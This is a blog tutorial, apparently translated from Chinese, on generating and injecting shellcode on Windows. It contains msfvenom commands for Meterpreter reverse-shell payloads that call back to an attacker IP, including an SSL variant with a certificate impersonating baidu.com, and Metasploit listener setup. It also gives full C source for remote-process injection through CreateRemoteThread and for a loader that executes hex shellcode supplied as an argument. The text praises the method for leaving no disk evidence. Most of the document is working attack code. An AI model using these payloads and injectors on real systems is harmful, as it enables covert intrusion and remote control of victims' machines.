The formatting and injection functions of ShellCode are also particularly important in practical applications. Formatting Shellcode
refers to converting it into an executable binary format so that it can be run in memory. Injection Shellcode
refers to injecting formatted data Shellcode
into the memory of another process for execution in that process. Such functions can also be counted as ShellCode
extended functions of technology.
1.10.1 ShellCode injection for memory
Memory injection ShellCode
is an attack method that injects a shell into the process memory. The advantage of this injection method is that the probability of being discovered is extremely low and can even be ignored. This is because when it is injected into the process memory, it does not interact with it ShellCode
. The corresponding hard disk file makes it difficult to obtain evidence on the disk, but there is also a drawback. Since the memory is volatile memory, the system must always be turned on and cannot be turned off. This attack method can be applied to the server with minimal security risks. After injection, The injector can be removed and this ensures that no files are loaded.
First of all, readers should generate custom ShellCode
code by themselves before implementing the function. As for how to generate it, it has been introduced in the first section of this chapter. Only the generation instructions are given here.
Generate unencrypted ShellCode attack payload
# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c
[lyshark@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c
# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set lhost 192.168.140.128
msf6 exploit(handler) > set lport 9999
msf6 exploit(handler) > set EXITFUNC thread
msf6 exploit(handler) > exploit -j -z
Generate SSL encrypted ShellCode attack payload
# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
> -subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" \
> -keyout www.baidu.com.key -out www.baidu.com.crt
[lyshark@localhost ~]# cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https \
> lhost=192.168.140.128 lport=8443 PayloadUUIDTracking=true PayloadUUIDName=MyShell \
> HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true \
> -f c -o /root/shell.c
# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_https
msf6 exploit(handler) > set LHOST 192.168.140.128
msf6 exploit(handler) > set LPORT 8443
msf6 exploit(handler) > set HandlerSSLCert /root/www.baidu.com.pem
msf6 exploit(handler) > set StagerVerifySSLCert true
msf6 exploit(handler) > exploit -j -z
Next, we implement the injection function. First, we CreateToolhelp32Snapshot()
find the required injection process by taking a process snapshot and comparing it. After finding it, we OpenProcess()
open the process, then call VirtualAllocEx()
a function to allocate space in the peer memory, and WriteProcessMemory()
write ShellCode
to the peer. Finally, Execute ShellCode code by CreateRemoteThread()
opening a remote thread.
Its core principles are summarized as follows:
- 1. Obtain the PID of the target process. Here, we obtain
ToolHelp32
the list of processes running in the system and traverse the list to find the process with the specified name. - 2. Open the target process. Use to
OpenProcess
open the target process and obtain the handle of the process. - 3. Allocate memory in the target process. Use to
VirtualAllocEx
allocate a section of memory in the target process for storingShellCode
code. - 4. Write
ShellCode
the code into the memory of the target process. Use toWriteProcessMemory
writeShellCode
the code into the memory of the target process. - 5. Create a remote thread in the target process and execute it
ShellCode
. UseCreateRemoteThread
code that creates a remote thread in the target process and points its starting address toShellCode
the memory address in the target process to executeShellCode
the code. - 6. Wait for the remote thread to complete execution. Use
WaitForSingleObject
wait for the remote thread to complete execution. - 7. Clean up resources. Close handles, release memory, etc.
Based on the analysis of the above principles, readers can easily write the code snippet as shown below. Readers only need to fill in the variables with customization ShellCode
and enter the process PID to realize the injection function into a specific process;
#include <Windows.h>
#include <stdio.h>
// 定义ShellCode
unsigned char ShellCode[] =
"\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
"\xdb\xac\xa6";
int main(int argc, char *argv[])
{
HANDLE Handle = NULL;
HANDLE remoteThread = NULL;
PVOID remoteBuffer = NULL;
DWORD Pid = 0;
printf("请输入待注入进程PID号:");
scanf("%d", &Pid);
// 打开目标进程句柄
Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (Handle == NULL)
{
printf("打开进程失败\n");
return 1;
}
// 在目标进程中分配内存
remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteBuffer == NULL)
{
printf("分配内存失败\n");
CloseHandle(Handle);
return 1;
}
// 在目标进程中写入ShellCode
if (!WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL))
{
printf("写入内存失败\n");
VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(Handle);
return 1;
}
// 在目标进程中创建远程线程
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (remoteThread == NULL)
{
printf("创建线程失败\n");
VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(Handle);
return 1;
}
// 等待远程线程执行完毕
WaitForSingleObject(remoteThread, INFINITE);
// 释放内存和关闭句柄
VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
// CloseHandle(remoteThread);
CloseHandle(Handle);
printf("注入成功\n");
return 0;
}
1.10.2 Implement formatting and code execution box
At some point, we need to pass in a specific string externally to achieve rebound, instead of writing the ShellCode code in the program as mentioned in the above case. This can increase flexibility and we execute it in local code. Explain how the code execution box is implemented for the case.
The implementation of the code execution box is very easy. In the following code, the program receives argv[1]
the passed variable and formats the variable sscanf
into a byte type. If it is not formatted, it will WORD
exist in the mode by default after reading it into the memory. At this time, it will occupy two Bytes will cause ShellCode
failure. In order to make the function effective, it must be converted. The following code is the complete implementation of the execution box;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) exec)();
return 0;
}
The following is a simple explanation of the core code;
unsigned int memory_allocation = strlen(shellcode) / 2;
memory_allocation is an unsigned integer type variable used to represent the memory size that needs to be allocated. Because shellcode
it is hexadecimal encoded, every two characters represent one byte, so the memory size is shellcode
half the length.
for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
The for loop is used to convert hexadecimal encoding shellcode
into executable code. sscanf
The function shellcode
converts the hexadecimal characters in to integers and stores them in char_in_hex
variables. It will then char_in_hex
be cast to character type and stored in shellcode
.
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
This is a void
pointer variable of type that points to the allocated memory space. VirtualAlloc
The function allocates a memory block of the specified size and returns a pointer to the memory block. The parameter MEM_COMMIT
indicates that the allocated memory will be committed immediately, PAGE_READWRITE
indicating that the memory is readable and writable.
memcpy(exec, shellcode, memory_allocation);
will shellcode
be copied into the allocated memory space.
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
The VirtualProtect function modifies the protection attribute of the memory page and sets the execution attribute of the memory page to executable. PAGE_EXECUTE
Indicates that the memory is executable.
(*(void(*)()) exec)();
Execute the code in the allocated memory space. Cast the exec pointer to a function pointer with no parameters and no return value, and then call the function pointer. In this way, the code in the shellcode will be executed.
Since the code execution box receives a string, we also need to implement a ShellCode
function to convert it into a string. We only need to read the text into the memory in sequence and filter out useless bytes to achieve this function;
void Compressed(const char* FileName)
{
FILE* fp_read;
char write_ch;
if ((fp_read = fopen(FileName, "r")) != NULL)
{
while ((write_ch = fgetc(fp_read)) != EOF)
{
if (write_ch != L'\n' && write_ch != L'\"' && write_ch != L'\\' && write_ch != L'x' && write_ch != L';')
{
printf("%c", write_ch);
}
}
}
_fcloseall();
}
The complete code is already available, so how to use it? First, the reader needs to ShellCode
save the code as a text document. It should be noted that the reader should save it in the following format when saving the file;
At this time, when calling Compressed("d://shellcode.txt");
and passing in the text path, the reader will see the following output, which ShellCode
is formatted into one line, as shown in the figure below;
Save this ShellCode
code and run the code execution box. Rebound can be achieved by passing in parameters from the command line. The passed parameters are as shown in the figure below;
Author of this article: Wang Rui
Link to this article: https://www.lyshark.com/post/c20d3ce0.html
Copyright Statement: Unless otherwise stated, all articles on this blog adopt the BY-NC-SA license agreement. Please indicate the source!